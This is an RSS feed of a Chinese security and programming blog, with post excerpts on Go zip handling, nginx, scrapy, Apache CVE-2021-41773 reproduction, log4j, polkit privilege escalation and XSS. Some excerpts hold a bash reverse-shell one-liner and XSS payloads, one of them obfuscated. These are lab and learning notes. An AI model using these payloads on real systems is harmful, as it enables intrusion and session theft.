<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[csd_ct的专栏]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/csd_ct</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; csd_ct]]></copyright><item><title><![CDATA[多线程下的共享变量访问数据竞争的问题]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/142304727</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/142304727</guid><author>csd_ct</author><pubDate>Mon, 16 Sep 2024 17:21:24 +0800</pubDate><description><![CDATA[多线程下对共享变量的写存在数据竞问题可导致数据与预期不一致。]]></description><category></category></item><item><title><![CDATA[python pyinstaller 打包报病毒、黑框一闪而过]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/123191800</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/123191800</guid><author>csd_ct</author><pubDate>Mon, 28 Feb 2022 20:56:22 +0800</pubDate><description><![CDATA[基本的参数，如：


# -F 打包为一个文件
# -w 除去dos黑框
# -i 指定icon文件
pyinstaller.exe -F -w -i u.ico  pscan.py


最近用pyinstaller 打包py程序时，在运行打包成功后的exe时，系统立马弹出警告框说是有病毒，我开始以为是，杀毒软件太敏感，就先手动关闭警告。后来在运行的过程中，有个黑框一闪而过，这太影响体验了，本来不是病毒，人家运行只是，肯定以为含有病毒或者后门之类的..........,

后来，经过查找和分析，发现，在py]]></description><category></category></item><item><title><![CDATA[golang zip压缩/解压缩用法]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/123172731</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/123172731</guid><author>csd_ct</author><pubDate>Mon, 28 Feb 2022 00:22:57 +0800</pubDate><description><![CDATA[最近有个需求，需要写个脚本，但要编译为exe可执行文件，首先考虑python打包，奈何使用pyinstaller打包后，出现各种各样的运行错误，最后放弃了，改为golang重写。因为要用到创建和解压zip文件，golang中使用zip模块的功能，远没有python那么方便。

一、压缩部分

把文件或者文件夹压缩为zip文件，主要过程就是创建目的zip文件，然后遍历源目录，将源目录下的文件拷贝到目的zip文件中，最重要的2个方法：

1、zip.newWriter 创建一个向zip文件中写入的writer.]]></description><category></category></item><item><title><![CDATA[红队体系化学习总结]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/12868203</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/12868203</guid><author>csd_ct</author><pubDate>Mon, 21 Feb 2022 21:07:30 +0800</pubDate><description><![CDATA[单点的方法均会向方法论过渡。由单维解决方法逐渐向通用解决方案过渡。背后的本质都是知识的体系化。框架后再聚焦，最后量变引起质变。

----摘抄于某圈内大佬

今天逛论坛时，看到某大佬发的2张图，拜读一下，感叹学海无涯，还没领会到一半，路漫漫还长远啊，自己还差的远。以下图片及知识体系的总结来源于转载。

敏捷渗透：



红队体系化：




...]]></description><category></category></item><item><title><![CDATA[nginx 正向代理、反向代理、负载均衡]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/122957104</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/122957104</guid><author>csd_ct</author><pubDate>Wed, 16 Feb 2022 10:02:43 +0800</pubDate><description><![CDATA[Nginx 是一个高性能的 HTTP 和反向代理服务器，特点是占用内存少，并发能力强，事实上 Nginx 的并发能力确实在同类型的网页服务器中表现较好。
Nginx 专为性能优化而开发，性能是其最重要的要求，十分注重效率，有报告 Nginx 能支持高达 50000 个并发连接数。
1. Nginx 知识网结构图

2. 代理
【反向代理】：客户端无法感知代理，因为客户端访问网络不需要配置，只要把请求发送到反向代理服务器，由反向代理服务器去选择目标服务器获取数据，然后再返回到客户端。
此时反向代理服务器和目标]]></description><category></category></item><item><title><![CDATA[勒索病毒解密工具]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/122929505</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/122929505</guid><author>csd_ct</author><pubDate>Mon, 14 Feb 2022 17:57:54 +0800</pubDate><description><![CDATA[加密勒索病毒猖獗，最近逛论坛看到2个好的勒索病毒与解密的站点，记录下，以备不时之需：
1、360勒索病毒解密，https://lesuobingdu.360.cn/

2.深信服勒索解密工具，https://mp.weixin.qq.com/s/EDJMABKxNMFYDrTEctFYRQ


...]]></description><category></category></item><item><title><![CDATA[log4j漏洞分析及总结]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/122916620</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/122916620</guid><author>csd_ct</author><pubDate>Mon, 14 Feb 2022 00:15:39 +0800</pubDate><description><![CDATA[2021年12月8号爆出的log4j2的远程代码执行漏洞【cve-2021-44228】，堪称史诗级核弹漏洞，虽然过了这么久，大部分现网中的相关漏洞已经修复，但任然可以捡漏…,网上也有不少大佬和研究机构都对该漏洞做了分析和复盘，年前年后比较忙，一直没有好好的分析总结该漏洞，最近学习下刚好补上。
漏洞描述及影响
log4j是Apache的一个开源项目，是一个基于Java的日志记录框架。Log4j2是log4j的后继者，被大量用于业务系统开发，记录日志信息。很多互联网公司以及耳熟能详的公司的系统都在使用该框架。]]></description><category></category></item><item><title><![CDATA[apache-CVE-2021-41773[42013]-反弹shell]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/122799759</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/122799759</guid><author>csd_ct</author><pubDate>Sun, 06 Feb 2022 17:24:41 +0800</pubDate><description><![CDATA[CVE-2021-41773-反弹shell
apache-CVE-2021-41773/42013 中存在RCE，可远程执行代码，本想利用bash反弹一个shell,奈何一直没有成功
‘’’
bash -i &gt;&amp; /de/tcp/ip/port 0&gt;&amp;1
‘’’
经典的bash反弹，确定环境和语句都没问题后，本地查看了靶机的日志，看到有如下报错，

很奇怪，为什么会有一个syntax error:Bad fd number的错误呢，而在本地kali中直接执行该语句，是没有问题的]]></description><category></category></item><item><title><![CDATA[apache-CVE-2021-41773[42013]-本地验证]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/122799041</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/122799041</guid><author>csd_ct</author><pubDate>Sun, 06 Feb 2022 16:11:25 +0800</pubDate><description><![CDATA[cve-2021-41773本地验证
上次在验证41773时，使用bash命令反弹shell不成功，vulfocus上提供的时在线靶场环境有时间限制，且无法看到后台日志，不知道时哪里出错了，于是决定从0到1开始，在本地搭建一个实验环境，看看是哪里出现了问题
搭建本地验证环境
docker 中直接拉取apache 2.4.49的镜像
docker pull httpd:2.4.49

docker images 查看镜像，如图

启动该镜像，运行apache,
 docker run -d -p 80:80 ]]></description><category></category></item><item><title><![CDATA[apache-CVE-2021-41773[42013]-漏洞复现]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/122792066</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/122792066</guid><author>csd_ct</author><pubDate>Sat, 05 Feb 2022 18:10:02 +0800</pubDate><description><![CDATA[apache-CVE-2021-41773[42013] 验证及复现
CVE-2021-41773 影响范围为2.4.49
CVE-2021-42013 影响范围为2.4.49/50
漏洞验证
41773和42013在10月份时，被暴出目录穿越和远程命令执行，虽然只影响了apache的49/50版本，但是RCE漏洞，POC已公开，还是有较强的杀伤力。为了快速验证一下该漏洞，使用vulfocus提供的在线的靶场，开启应用，如图

访问应用首页，可得到apche服务器版本信息，如图，

验证目录遍历
利用网上爆]]></description><category></category></item><item><title><![CDATA[Linux提权(sudo、polkit)总结]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/122757407</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/122757407</guid><author>csd_ct</author><pubDate>Mon, 31 Jan 2022 00:21:23 +0800</pubDate><description><![CDATA[Linux-polkit提权总结
刚准备休年假，就收到监管的漏洞预警通-“Linux Polkit组件中pkexec程序存在权限提升漏洞（漏洞编号为CVE-2021-4034）。pkexec应用程序为Linux系统预装工具，漏洞影响Ubuntu、Debian、Fedora、CentOS等主流Linux发行版…“,啊，正值冬奥护网，各方都比较敏感，赶紧研究下，详见绿盟的CERT应急通知
1、漏洞概述
1月26日，绿盟科技CERT监测到Qualys研究团队公开披露了在Polkit的pkexec中发现的一个权限提]]></description><category></category></item><item><title><![CDATA[xss常用Payload总结]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/122287006</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/122287006</guid><author>csd_ct</author><pubDate>Mon, 03 Jan 2022 14:12:39 +0800</pubDate><description><![CDATA[xss常用Payload总结
渗透测试时，常遇到页面输入框、留言板等输入交互点，大多是xss漏洞易出现的常见场景之一，记录几种常用的xss注入的姿势
1.img 注入
快速探测是否存在xss
1) &lt;img src='x' onerror='alert(1)'&gt;
2) &lt;img src='x' onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))"&gt;

2.iframe 注入
后台做了相]]></description><category></category></item><item><title><![CDATA[nmap扫描之端口“filtered“被过滤的分析]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/121471004</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/121471004</guid><author>csd_ct</author><pubDate>Mon, 22 Nov 2021 17:15:07 +0800</pubDate><description><![CDATA[最近在做渗透测试时，用nmap扫描目标网站的端口情况，发现某些端口的状态是"filtered"，猜测是被防火墙过滤了，那怎么确定端口是否开启或者怎么绕过防火墙进行探测呢？研究了下nmap的高级用法。

1、nmap常用扫描参数

1.1 sT 扫描

3次握手方式的TCP扫描，握手成功后会调用系统的connect函数。由于要完成TCP的3次握手，速度较慢，且这种扫描很容易被检测到，在目标主机的日志中会记录大批的连接请求以及错误信息。nmap默认的扫描方式是这种，如图，


...]]></description><category></category></item><item><title><![CDATA[PHP中命令执行的几种姿势总结(二)-高级用法]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/121221203</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/121221203</guid><author>csd_ct</author><pubDate>Tue, 09 Nov 2021 14:56:01 +0800</pubDate><description><![CDATA[上一篇文章中介绍了php命令执行的几种姿势的基础用法 ，除了基础用法之外，还有几种高级用法可以考虑，在服务端过滤严格、安全措施较高的情况下，有时可以派上大用场。

1、com组件的使用

在php5.4及以上的版本中，可以开启com组件，直接执行某些cmd命令行，如在在php.ini文件中，开启extension=php_com_dotnet.dll
...]]></description><category></category></item><item><title><![CDATA[PHP中命令执行的几种姿势总结(一)]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/121188383</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/121188383</guid><author>csd_ct</author><pubDate>Sun, 07 Nov 2021 12:16:19 +0800</pubDate><description><![CDATA[命令执行是web攻击中常用的手法之一，在PHP中，可调用以下函数来实现命令执行，如

1、exec()

exec函数用的较少，主要是因为该函数默认返回值是执行结果的最后一行，并不会有全部的执行结果。如果要打印执行结果，需遍历打印output数组,

1.1 函数原型


string exec ( string command, array &amp;output, int &amp;return_var)

//command参数是要执行的命令
//output数组是保存输出结果
//return_va]]></description><category></category></item><item><title><![CDATA[vulfocus 靶机环境搭建部署]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/121158165</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/121158165</guid><author>csd_ct</author><pubDate>Fri, 05 Nov 2021 19:21:13 +0800</pubDate><description><![CDATA[vulfocus 本质上是一个漏洞集成平台，里面集成了大量的CVE漏洞环境，采用的是docker环境部署安装，使用起来方便，可作为一个优秀靶场环境，提升实战能力。可本地部署安装，也可以直接使用线上环境vulfocus (fofa.so)http://vulfocus.fofa.so/#/login?redirect=%2Fdashboard   类似的漏洞集成环境，如vulhub也是一个不错的实验环境，不过vulfocus的漏洞都比较新，但数量少，vulhub收集的漏洞个数较多，但大多...]]></description><category></category></item><item><title><![CDATA[从CTF比赛题看任意文件读取的危害]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/114191790</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/114191790</guid><author>csd_ct</author><pubDate>Sat, 27 Feb 2021 22:53:50 +0800</pubDate><description><![CDATA[最近在CTF_HUB上看到任意文件读取的一道web渗透测试题，详见ctfhub 中web afr-3，突然想到2020年参加网鼎杯白虎组，有个picdown的题目大同小异，手法相似，对任意文件读取漏洞的危害做个总结。

在afr-3中，任意文件读取漏洞如下，首先进入首页，如下图：



点进去，首页是个输入框，输入test,提交查询，如图：



在输入框这个地方存在xss，不过暂时先不管这个，重点关注任意文件读取。看到url中有个name=article，这个参数，猜测这个参数是突破点，将article.]]></description><category></category></item><item><title><![CDATA[python web后端返回excel文件的几种方式]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/110297109</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/110297109</guid><author>csd_ct</author><pubDate>Sun, 29 Nov 2020 00:10:00 +0800</pubDate><description><![CDATA[在web后端开发中，经常有遇到返回一个Excel文件给前端的情况，这里以Python 的Flask web框架为例，其他框架类似，总结一下Flask中返回一个xlsx的文件给前端的情况。

1、以静态文件的形式返回


@app.route('/download_file/&lt;path:filepath&gt;/', methods=["GET"])
def download_file(filepath):
    return app.send_static_file(filepath)

2、 以动]]></description><category></category></item><item><title><![CDATA[scrapy 爬虫之selenium中间件的使用(爬取简书内容)]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/109457274</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/109457274</guid><author>csd_ct</author><pubDate>Mon, 02 Nov 2020 22:02:32 +0800</pubDate><description><![CDATA[前几篇文章中介绍了scrapy简单使用，这次我们来看如何在scrapy中使用selenium作为中间件爬取简书的内容。

1、为什么要使用selenium

假设我们要爬取简书的内容，打开简书上的某一篇文章，如：https://www.jianshu.com/p/b35ebb1c1b0e，

在chrome 调式控制台中，观察发送的请求，



user_notes 这部分信息是动态渲染的，无法直接获取到。爬取网页内容时，有些网页内容是后端渲染的，在前端展示时，不需要js再次请求获取显示数据，这类网站对于爬]]></description><category></category></item><item><title><![CDATA[scrapy 爬虫之爬取优快云博客（二）]]></title><link>https://blog.youkuaiyun.com/csd_ct/article/details/109378880</link><guid>https://blog.youkuaiyun.com/csd_ct/article/details/109378880</guid><author>csd_ct</author><pubDate>Fri, 30 Oct 2020 10:34:11 +0800</pubDate><description><![CDATA[上篇博客中，介绍了爬取优快云博客XPATH定位DOM节点和Items数据结构化的使用,下面我们来看scrapy中数据持久化，将数据保存到数据库中（sqlite、mysql、ES、mongodb）中，这里我们选择mysql为例，将爬取到的数据保存到mysql数据库中，其他数据库的存储过程类似。首先安装python操作msyql的驱动程序：


pip install -U mysqlclient

1、创建pipelines.py文件

在创建爬虫项目时，pipelines.py文件是自动生成的，前面说过，]]></description><category></category></item></channel></rss>